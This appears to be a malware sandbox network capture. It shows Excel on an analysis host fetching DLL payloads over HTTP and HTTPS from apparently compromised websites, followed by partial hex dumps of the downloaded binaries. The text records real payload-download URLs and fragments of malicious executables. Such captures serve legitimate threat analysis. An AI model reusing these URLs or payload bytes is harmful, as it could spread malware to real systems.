2	192.168.2.22	49178	138.219.41.210	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 11:39:25.553832054 CEST	845	OUT	GET /aaabackupsqldb/11hYk3bHJ/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: jr-software-web.net Connection: Keep-Alive
May 23, 2022 11:39:25.833802938 CEST	847	IN	HTTP/1.1 200 OK Cache-Control: private Pragma: no-cache Content-Type: application/x-msdownload Expires: Mon, 23 May 2022 09:39:24 GMT Last-Modified: Mon, 23 May 2022 09:39:24 GMT Server: Microsoft-IIS/8.5 Set-Cookie: 628b564cc20b8=1653298764; expires=Mon, 23-May-2022 09:40:24 GMT; Max-Age=60; path=/ Content-Disposition: attachment; filename="LjSKxP.dll" Content-Transfer-Encoding: binary X-Powered-By: ASP.NET Date: Mon, 23 May 2022 09:39:24 GMT Content-Length: 365056 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 8a 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 f0 05 00 00 04 00 00 f5 54 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 d0 aa 02 00 84 00 00 00 04 a2 02 00 50 00 00 00 00 00 03 00 fc d1 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 54 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc d1 02 00 00 00 03 00 00 d2 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f2 06 00 00 00 e0 05 00 00 08 00 00 00 8a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEdv{b" 5T@P .text `.rdataT @@.data7@.pdata@@.rsrc@@.reloc@B
May 23, 2022 11:39:25.833825111 CEST	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: H\$Hl$Ht$WH0IHHE3LAQ\$(Ht$ 3HH
May 23, 2022 11:39:25.840348959 CEST	850	IN	Data Raw: 08 b5 23 5c 56 c7 45 0c 16 22 0e 75 c7 45 10 b1 1b 41 77 c7 45 14 59 50 0a 07 c7 45 18 ac 22 ed 77 c7 45 1c 13 56 21 fe c7 45 20 2e a7 1d 61 c7 45 24 22 61 ac 2f c7 45 28 ce 3a 53 39 c7 45 2c 54 10 a1 05 c7 45 30 b0 3c 0d ae c7 45 34 1d b8 6d 03 Data Ascii: #\VE"uEAwEYPE"wEV!E .aE$"a/E(:S9E,TE0<E4mE8_oE<2E@FED;EH7EL-EPqETT] EX,E\oaE`XBEdEh9';ElEp-m9Et,>MExo'E\|#Y7p0"
May 23, 2022 11:39:25.840385914 CEST	851	IN	Data Raw: c7 85 44 02 00 00 13 28 37 ab c7 85 48 02 00 00 70 c2 20 50 c7 85 4c 02 00 00 35 e2 1b ee c7 85 50 02 00 00 82 36 43 10 c7 85 54 02 00 00 26 0c 20 09 c7 85 58 02 00 00 f3 32 7b 09 c7 85 5c 02 00 00 65 50 4f 0a c7 85 60 02 00 00 a3 2f 43 15 c7 85 Data Ascii: D(7Hp PL5P6CT& X2{\ePO`/CdTG0h}WLltuOp:Yt(2Bx<v:\|X-n'qRc;qdf/.GpRh78<-'C
May 23, 2022 11:39:26.102637053 CEST	852	IN	Data Raw: b6 f3 c7 85 5c 04 00 00 ff f7 43 62 c7 85 60 04 00 00 34 32 d2 17 c7 85 64 04 00 00 c8 71 3f 12 c7 85 68 04 00 00 34 e6 25 9a c7 85 6c 04 00 00 d6 aa 6c d8 c7 85 70 04 00 00 73 94 6f 4b c7 85 74 04 00 00 f0 c5 f2 23 c7 85 78 04 00 00 69 96 00 b1 Data Ascii: \Cb`42dq?h4%llpsoKt#xi\|>l\|%c$mH*.\tG5qj'EBgx+av}~#i~e9[+hAX
May 23, 2022 11:39:26.105809927 CEST	854	IN	Data Raw: 64 9c 96 24 c7 85 74 06 00 00 22 b8 61 56 c7 85 78 06 00 00 ef 23 a6 64 c7 85 7c 06 00 00 80 0f ba 3f c7 85 80 06 00 00 e2 4e 09 33 c7 85 84 06 00 00 5d 3d fe 27 c7 85 88 06 00 00 4f 35 5b f1 c7 85 8c 06 00 00 28 d3 11 3b c7 85 90 06 00 00 2e a3 Data Ascii: d$t"aVx#d\|?N3]='O5[(;.,:'U@et%</LIOf^e7Eekg$U9#(=QM1v^yicl
May 23, 2022 11:39:26.105859041 CEST	855	IN	Data Raw: 00 00 6d 1b 4b f8 c7 85 8c 08 00 00 a6 61 81 bf c7 85 90 08 00 00 05 3f 9f 3c c7 85 94 08 00 00 4a 9d 15 28 c7 85 98 08 00 00 aa c1 2b cd c7 85 9c 08 00 00 f8 13 79 d4 c7 85 a0 08 00 00 a5 40 70 07 c7 85 a4 08 00 00 b8 33 7a 8d c7 85 a8 08 00 00 Data Ascii: mKa?<J(+y@p3zmm7jue75@ } z$*JZxng@$P+ong"t4vCwjf
May 23, 2022 11:39:26.105905056 CEST	857	IN	Data Raw: 00 28 d3 1a 37 c7 85 a0 0a 00 00 26 29 a0 c3 c7 85 a4 0a 00 00 2e f7 13 52 c7 85 a8 0a 00 00 ac de 74 70 c7 85 ac 0a 00 00 f5 39 e1 3a c7 85 b0 0a 00 00 7c 65 3a ec c7 85 b4 0a 00 00 0c 4e 4b 0b c7 85 b8 0a 00 00 e1 f0 66 00 c6 85 bc 0a 00 00 a6 Data Ascii: (7&).Rtp9:\|e:NKf3HuHBE3E3FH$A@A0H$L$HHHt3AH-H3LL$ LT$!HH
May 23, 2022 11:39:26.108731031 CEST	858	IN	Data Raw: ec 01 00 48 89 05 9c b3 02 00 e8 77 52 00 00 48 89 05 d8 8f 02 00 e8 3b 42 00 00 85 c0 7d 11 e8 f2 09 00 00 e8 bd 54 00 00 33 c0 e9 5c 01 00 00 e8 21 4c 00 00 85 c0 7c 14 e8 b8 49 00 00 85 c0 7c 0b 33 c9 e8 ad 3b 00 00 85 c0 74 16 e8 c4 48 00 00 Data Ascii: HwRH;B}T3\!L\|I\|3;tHT3)Y;sk\|$XuY=X~DPH=]u<eH`+TH\|$`u={{tD3\|$XFD$
May 23, 2022 11:39:26.121551991 CEST	859	IN	Data Raw: 01 00 00 8b 44 24 30 48 6b c0 10 48 8b 8c 24 88 00 00 00 8b 44 01 04 48 39 44 24 68 0f 82 92 01 00 00 8b 44 24 30 48 6b c0 10 48 8b 8c 24 88 00 00 00 8b 44 01 08 48 39 44 24 68 0f 83 73 01 00 00 8b 44 24 30 48 6b c0 10 48 8b 8c 24 88 00 00 00 83 Data Ascii: D$0HkH$DH9D$hD$0HkH$DH9D$hsD$0HkH$\|XD$0HkH$\|uD$H3D$0HkH$DHD$xHD$pH$HL$8T$pD$H\|$H}3\|$HH$8csmu-H=>t#H>8U
May 23, 2022 11:39:26.121704102 CEST	861	IN	Data Raw: 8b 44 24 30 c7 40 1c 01 00 00 00 48 8b 44 24 30 c7 80 c8 00 00 00 01 00 00 00 48 8b 44 24 30 c6 80 74 01 00 00 43 48 8b 44 24 30 c6 80 f7 01 00 00 43 48 8b 44 24 30 48 8d 0d 94 78 02 00 48 89 88 b8 00 00 00 b9 0d 00 00 00 e8 53 54 00 00 90 48 8b Data Ascii: D$0@HD$0HD$0tCHD$0CHD$0HxHSTHD$0HT/THD$0HL$8HHD$0HuHD$0H"xHHD$0HzT?TH(HHD$0pfHD$8H

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49173	212.98.224.29	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2022-05-23 09:38:27 UTC	0	OUT	GET /catalog/controller/account/dqfKI/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: www.melisetotoaksesuar.com Connection: Keep-Alive
2022-05-23 09:38:28 UTC	0	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 May 2022 09:38:27 GMT Content-Type: application/x-msdownload Content-Length: 365056 Connection: close X-Powered-By: PHP/5.6.40 Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Mon, 23 May 2022 09:38:27 GMT Content-Disposition: attachment; filename="CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK.dll" Content-Transfer-Encoding: binary Set-Cookie: 628b5613e0053=1653298707; expires=Mon, 23-May-2022 09:39:27 GMT; Max-Age=60; path=/ Last-Modified: Mon, 23 May 2022 09:38:27 GMT X-Cache-Status: MISS X-Powered-By: PleskLin
2022-05-23 09:38:28 UTC	0	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEdv{b"
2022-05-23 09:38:28 UTC	16	IN	Data Raw: 68 44 8b 44 24 60 48 8b 54 24 58 48 8b 4c 24 50 e8 05 ff ff ff 48 89 44 24 38 48 83 7c 24 38 00 75 1c 83 7c 24 30 00 74 15 e8 4c 61 00 00 48 85 c0 74 0b e8 42 61 00 00 8b 4c 24 30 89 08 48 8b 44 24 38 48 83 c4 48 c3 cc cc 4c 89 4c 24 20 44 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 48 83 ec 48 b9 04 00 00 00 e8 de 48 00 00 90 c7 44 24 28 01 00 00 00 8b 44 24 70 89 44 24 20 4c 8b 4c 24 68 44 8b 44 24 60 48 8d 54 24 58 48 8b 4c 24 50 e8 24 00 00 00 48 89 44 24 30 b9 04 00 00 00 e8 05 49 00 00 48 8b 44 24 30 48 83 c4 48 c3 cc cc cc cc cc cc cc cc cc cc cc 4c 89 4c 24 20 44 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 48 81 ec 88 00 00 00 c7 44 24 48 00 00 00 00 48 8b 84 24 98 00 00 00 48 8b 00 48 89 44 24 40 48 83 bc 24 90 00 00 00 00 75 26 44 8b 8c 24 b0 00 00 Data Ascii: hDD$`HT$XHL$PHD$8H\|$8u\|$0tLaHtBaL$0HD$8HHLL$ DD$HT$HL$HHHD$(D$pD$ LL$hDD$`HT$XHL$P$HD$0IHD$0HHLL$ DD$HT$HL$HD$HH$HHD$@H$u&D$
2022-05-23 09:38:28 UTC	32	IN	Data Raw: ff ff ff ff ff 00 00 48 8b 4c 24 28 48 23 c8 48 8b c1 48 89 44 24 28 48 b8 32 a2 df 2d 99 2b 00 00 48 39 44 24 28 75 0f 48 b8 33 a2 df 2d 99 2b 00 00 48 89 44 24 28 48 8b 44 24 28 48 89 05 1f 26 02 00 48 8b 44 24 28 48 f7 d0 48 89 05 18 26 02 00 48 83 c4 48 c3 cc cc cc 48 89 54 24 10 89 4c 24 08 48 83 ec 28 81 7c 24 30 63 73 6d e0 75 12 48 8b 54 24 38 8b 4c 24 30 e8 0b 00 00 00 eb 04 eb 02 33 c0 48 83 c4 28 c3 48 89 54 24 10 89 4c 24 08 48 83 ec 58 e8 de b4 ff ff 48 89 44 24 28 48 83 7c 24 28 00 75 07 33 c0 e9 73 02 00 00 48 8b 44 24 28 48 8b 90 a0 00 00 00 8b 4c 24 60 e8 65 02 00 00 48 89 44 24 20 48 83 7c 24 20 00 75 0b 48 c7 44 24 40 00 00 00 00 eb 0e 48 8b 44 24 20 48 8b 40 08 48 89 44 24 40 48 83 7c 24 40 00 75 07 33 c0 e9 29 02 00 00 48 83 7c 24 40 Data Ascii: HL$(H#HHD$(H2-+H9D$(uH3-+HD$(HD$(H&HD$(HH&HHHT$L$H(\|$0csmuHT$8L$03H(HT$L$HXHD$(H\|$(u3sHD$(HL$`eHD$ H\|$ uHD$@HD$ H@HD$@H\|$@u3)H\|$@
2022-05-23 09:38:28 UTC	48	IN	Data Raw: ff ff 48 89 44 24 30 48 8b 4c 24 30 ff 15 e0 56 01 00 48 89 05 a1 1d 02 00 48 8b 05 9a 1d 02 00 48 89 05 8b 1d 02 00 48 83 7c 24 30 00 75 07 b8 18 00 00 00 eb 0e 48 8b 44 24 30 48 c7 00 00 00 00 00 33 c0 48 83 c4 48 c3 cc 48 83 ec 38 c7 44 24 20 00 00 00 00 eb 0a 8b 44 24 20 ff c0 89 44 24 20 48 63 44 24 20 48 83 f8 0a 73 28 48 63 44 24 20 48 8d 0d c1 f3 01 00 48 8b 0c c1 ff 15 6f 56 01 00 48 63 4c 24 20 48 8d 15 ab f3 01 00 48 89 04 ca eb c3 48 83 c4 38 c3 48 83 ec 28 b9 03 00 00 00 e8 22 62 00 00 83 f8 01 74 17 b9 03 00 00 00 e8 13 62 00 00 85 c0 75 1d 83 3d 70 f9 01 00 01 75 14 b9 fc 00 00 00 e8 7c 00 00 00 b9 ff 00 00 00 e8 72 00 00 00 48 83 c4 28 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 89 4c 24 08 48 83 ec 18 c7 04 24 00 00 00 00 eb 08 8b 04 24 ff Data Ascii: HD$0HL$0VHHHH\|$0uHD$0H3HHH8D$ D$ D$ HcD$ Hs(HcD$ HHoVHcL$ HHH8H("btbu=pu\|rH(L$H$$
2022-05-23 09:38:28 UTC	64	IN	Data Raw: c1 ff 15 63 17 01 00 89 84 24 d0 80 00 00 83 bc 24 d0 80 00 00 02 74 02 eb 6b 48 8d 8c 24 60 10 00 00 e8 13 0c 00 00 48 63 8c 24 10 81 00 00 48 8d 15 24 b5 01 00 48 89 94 24 d8 80 00 00 48 c7 44 24 20 00 00 00 00 4c 8d 8c 24 a4 70 00 00 44 8b c0 48 8d 94 24 60 10 00 00 48 8b 84 24 d8 80 00 00 48 8b 0c c8 ff 15 fe 17 01 00 85 c0 74 05 e9 53 01 00 00 ff 15 9f 16 01 00 83 f8 06 74 05 e9 43 01 00 00 48 c7 84 24 b0 80 00 00 00 00 00 00 48 c7 44 24 20 ff ff ff ff 4c 8d 8c 24 60 10 00 00 41 b8 00 10 00 00 48 8d 94 24 b0 70 00 00 48 8d 8c 24 b0 80 00 00 e8 8d 78 00 00 48 c7 44 24 38 00 00 00 00 c7 44 24 30 7b 02 00 00 48 8d 0d 15 57 01 00 48 89 4c 24 28 48 8d 0d 09 63 01 00 48 89 4c 24 20 4c 8d 0d ed 5c 01 00 41 b8 22 00 00 00 ba 16 00 00 00 8b c8 e8 eb 63 ff ff Data Ascii: c$$tkH$`Hc$H$H$HD$ L$pDH$`H$HtStCH$HD$ L$`AH$pH$xHD$8D$0{HWHL$(HcHL$ L\A"c
2022-05-23 09:38:28 UTC	80	IN	Data Raw: 70 48 39 81 e0 00 00 00 74 73 48 8b 84 24 b0 00 00 00 81 38 4d 4f 43 e0 74 63 48 8b 84 24 b0 00 00 00 81 38 52 43 43 e0 74 53 48 8b 84 24 e8 00 00 00 48 89 44 24 30 8b 84 24 e0 00 00 00 89 44 24 28 48 8b 84 24 d0 00 00 00 48 89 44 24 20 4c 8b 8c 24 c8 00 00 00 4c 8b 84 24 c0 00 00 00 48 8b 94 24 b8 00 00 00 48 8b 8c 24 b0 00 00 00 e8 86 9f ff ff 85 c0 74 05 e9 93 02 00 00 48 8b 84 24 d0 00 00 00 83 78 0c 00 74 02 eb 05 e8 38 85 ff ff 48 8b 84 24 c8 00 00 00 48 89 44 24 30 48 8d 44 24 6c 48 89 44 24 28 48 8d 44 24 68 48 89 44 24 20 44 8b 8c 24 d8 00 00 00 44 8b 84 24 e0 00 00 00 48 8b 94 24 d0 00 00 00 48 8b 8c 24 b8 00 00 00 e8 a2 9f ff ff 48 89 44 24 60 eb 18 8b 44 24 68 ff c0 89 44 24 68 48 8b 44 24 60 48 83 c0 14 48 89 44 24 60 8b 44 24 6c 39 44 24 68 Data Ascii: pH9tsH$8MOCtcH$8RCCtSH$HD$0$D$(H$HD$ L$L$H$H$tH$xt8H$HD$0HD$lHD$(HD$hHD$ D$D$H$H$HD$`D$hD$hHD$`HHD$`D$l9D$h
2022-05-23 09:38:28 UTC	96	IN	Data Raw: 20 4c 8b 8c 24 a8 00 00 00 4c 8b 84 24 98 00 00 00 48 8b 94 24 90 00 00 00 48 8d 0d 5a 4e 00 00 e8 75 f9 ff ff 89 44 24 30 33 c0 48 8b 8c 24 90 00 00 00 48 8b 94 24 98 00 00 00 66 89 44 51 fe 83 7c 24 30 fe 75 2a 48 83 bc 24 a0 00 00 00 ff 75 1f e8 23 21 ff ff 83 38 22 75 0b e8 19 21 ff ff 8b 4c 24 34 89 08 b8 ff ff ff ff e9 00 02 00 00 83 7c 24 30 00 0f 8d 33 01 00 00 33 c0 48 8b 8c 24 90 00 00 00 66 89 01 48 83 bc 24 98 00 00 00 ff 74 6c 48 81 bc 24 98 00 00 00 ff ff ff 7f 74 5e 48 83 bc 24 98 00 00 00 01 76 53 48 8b 84 24 98 00 00 00 48 ff c8 48 39 05 cb 25 01 00 73 0e 48 8b 05 c2 25 01 00 48 89 44 24 58 eb 10 48 8b 84 24 98 00 00 00 48 ff c8 48 89 44 24 58 48 8b 44 24 58 48 d1 e0 48 8b 8c 24 90 00 00 00 48 83 c1 02 4c 8b c0 ba fe 00 00 00 e8 fa a7 fe Data Ascii: L$L$H$HZNuD$03H$H$fDQ\|$0u*H$u#!8"u!L$4\|$033H$fH$tlH$t^H$vSH$HH9%sH%HD$XH$HHD$XHD$XHH$HL
2022-05-23 09:38:28 UTC	112	IN	Data Raw: 40 0f b6 8c 24 30 03 00 00 88 08 48 8b 44 24 40 48 ff c8 48 89 44 24 40 e9 42 ff ff ff 48 8d 84 24 af 02 00 00 48 2b 44 24 40 89 44 24 68 48 8b 44 24 40 48 ff c0 48 89 44 24 40 8b 44 24 50 25 00 02 00 00 85 c0 74 33 83 7c 24 68 00 74 0d 48 8b 44 24 40 0f be 00 83 f8 30 74 1f 48 8b 44 24 40 48 ff c8 48 89 44 24 40 48 8b 44 24 40 c6 00 30 8b 44 24 68 ff c0 89 44 24 68 83 7c 24 6c 00 0f 85 32 02 00 00 8b 44 24 50 83 e0 40 85 c0 74 4e 8b 44 24 50 25 00 01 00 00 85 c0 74 0f c6 44 24 54 2d c7 44 24 5c 01 00 00 00 eb 32 8b 44 24 50 83 e0 01 85 c0 74 0f c6 44 24 54 2b c7 44 24 5c 01 00 00 00 eb 18 8b 44 24 50 83 e0 02 85 c0 74 0d c6 44 24 54 20 c7 44 24 5c 01 00 00 00 8b 44 24 68 8b 4c 24 58 2b c8 8b c1 2b 44 24 5c 89 84 24 48 03 00 00 8b 44 24 50 83 e0 0c 85 c0 Data Ascii: @$0HD$@HHD$@BH$H+D$@D$hHD$@HHD$@D$P%t3\|$htHD$@0tHD$@HHD$@HD$@0D$hD$h\|$l2D$P@tND$P%tD$T-D$\2D$PtD$T+D$\D$PtD$T D$\D$hL$X++D$\$HD$P
2022-05-23 09:38:28 UTC	128	IN	Data Raw: 30 00 75 02 eb 52 e8 9f a1 fe ff 8b 4c 24 30 89 08 e8 64 a1 fe ff c7 00 09 00 00 00 c7 44 24 30 ff ff ff ff 33 c0 85 c0 75 2e 48 8d 05 f9 74 00 00 48 89 44 24 20 45 33 c9 41 b8 45 00 00 00 48 8d 15 64 80 00 00 b9 02 00 00 00 e8 aa a9 fe ff 83 f8 01 75 03 cc 33 c0 8b 4c 24 60 e8 a9 f1 ff ff 8b 44 24 30 48 83 c4 58 c3 89 4c 24 08 48 83 ec 58 48 63 44 24 60 48 83 f8 fe 75 20 e8 28 a1 fe ff c7 00 00 00 00 00 e8 ed a0 fe ff c7 00 09 00 00 00 b8 ff ff ff ff e9 1a 02 00 00 83 7c 24 60 00 7c 16 8b 05 e4 da 00 00 39 44 24 60 73 0a c7 44 24 3c 01 00 00 00 eb 08 c7 44 24 3c 00 00 00 00 8b 44 24 3c 89 44 24 34 83 7c 24 34 00 75 2e 48 8d 05 a2 75 00 00 48 89 44 24 20 45 33 c9 41 b8 2e 00 00 00 48 8d 15 ed 89 00 00 b9 02 00 00 00 e8 03 a9 fe ff 83 f8 01 75 03 cc 33 c0 Data Ascii: 0uRL$0dD$03u.HtHD$ E3AEHdu3L$`D$0HXL$HXHcD$`Hu (\|$`\|9D$`sD$<D$<D$<D$4\|$4u.HuHD$ E3A.Hu3
2022-05-23 09:38:28 UTC	144	IN	Data Raw: 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 77 00 69 00 6e 00 73 00 69 00 67 00 2e 00 63 00 00 00 00 00 00 00 00 00 28 00 22 00 49 00 6e 00 76 00 61 00 6c 00 69 00 64 00 20 00 73 00 69 00 67 00 6e 00 61 00 6c 00 20 00 6f 00 72 00 20 00 65 00 72 00 72 00 6f 00 72 00 22 00 2c 00 20 00 30 00 29 00 00 00 00 00 72 00 61 00 69 00 73 00 65 00 00 00 00 00 00 00 28 00 4c 00 22 00 42 00 75 00 66 00 66 00 65 00 72 00 20 00 69 00 73 00 20 00 74 00 6f 00 6f 00 20 00 73 00 6d 00 61 00 6c 00 6c 00 22 00 20 00 26 00 26 00 20 00 30 00 29 00 00 00 00 00 00 00 42 00 75 00 66 Data Ascii: dd\vctools\crt_bld\self_64_amd64\crt\src\winsig.c("Invalid signal or error", 0)raise(L"Buffer is too small" && 0)Buf
2022-05-23 09:38:28 UTC	160	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 02 00 00 00 d0 95 02 00 00 00 00 00 00 00 00 00 e8 95 02 00 10 96 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 bf 02 00 01 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 b8 95 02 00 00 00 00 00 00 00 00 00 00 00 00 00 78 bf 02 00 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 38 96 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 50 96 02 00 00 00 00 00 00 00 00 00 10 96 02 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 70 c3 02 00 88 96 02 00 60 96 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 a0 96 02 00 00 00 00 00 00 00 00 00 b0 96 02 00 00 00 00 00 00 00 00 00 00 00 00 00 70 c3 02 00 00 Data Ascii: P@x@8Pp`p
2022-05-23 09:38:28 UTC	176	IN	Data Raw: 58 a3 16 c1 88 69 a1 76 66 40 6c d4 25 4d 28 18 a0 1b 0e 10 00 a9 a2 3a 0e 24 ca 96 8f f9 39 e3 3a 7c 55 25 2f fb 86 43 0a e9 ed 3e d4 9c df 52 d1 64 64 23 04 34 1d bd 60 71 09 0a 56 65 00 89 75 4f 5e 9a 39 31 4d f6 32 42 70 a4 33 3a 69 10 53 fa 04 6e 4c 78 10 ef 1e 75 5c b4 32 67 05 34 81 66 58 c4 06 43 48 2a e3 04 6d bf 32 7b 55 7f 1e 66 55 20 e0 e3 a7 a9 7a 24 55 7d e0 b7 aa 8c 4e 31 6b 26 5d 89 71 4e e9 9d 25 05 af 17 7d 20 d5 00 23 22 29 a0 a3 00 69 ed 5b d4 35 86 43 35 35 e1 b7 3e 66 ba df 78 ca 63 43 23 b5 94 a0 6a 37 35 79 66 74 0d 5c ad 54 7e 6d 54 25 51 63 eb c2 4c 78 50 bb 2c 99 7d c6 71 72 2a 43 e4 12 42 aa 2a e8 63 e4 76 4c 70 62 e5 9e 71 33 f6 36 10 7d f2 86 26 11 ce aa 8f d6 86 62 43 51 f4 ff 1b 41 07 7d b7 60 9d d6 65 65 e6 3e 00 7d 46 44 Data Ascii: Xivf@l%M(:$9:\|U%/C>Rdd#4`qVeuO^91M2Bp3:iSnLxu\2g4fXCHm2{UfU z$U}N1k&]qN%} #")i[5C55>fxcC#j75yft\T~mT%QcLxP,}qrCB*cvLpbq36}&bCQA}`ee>}FD
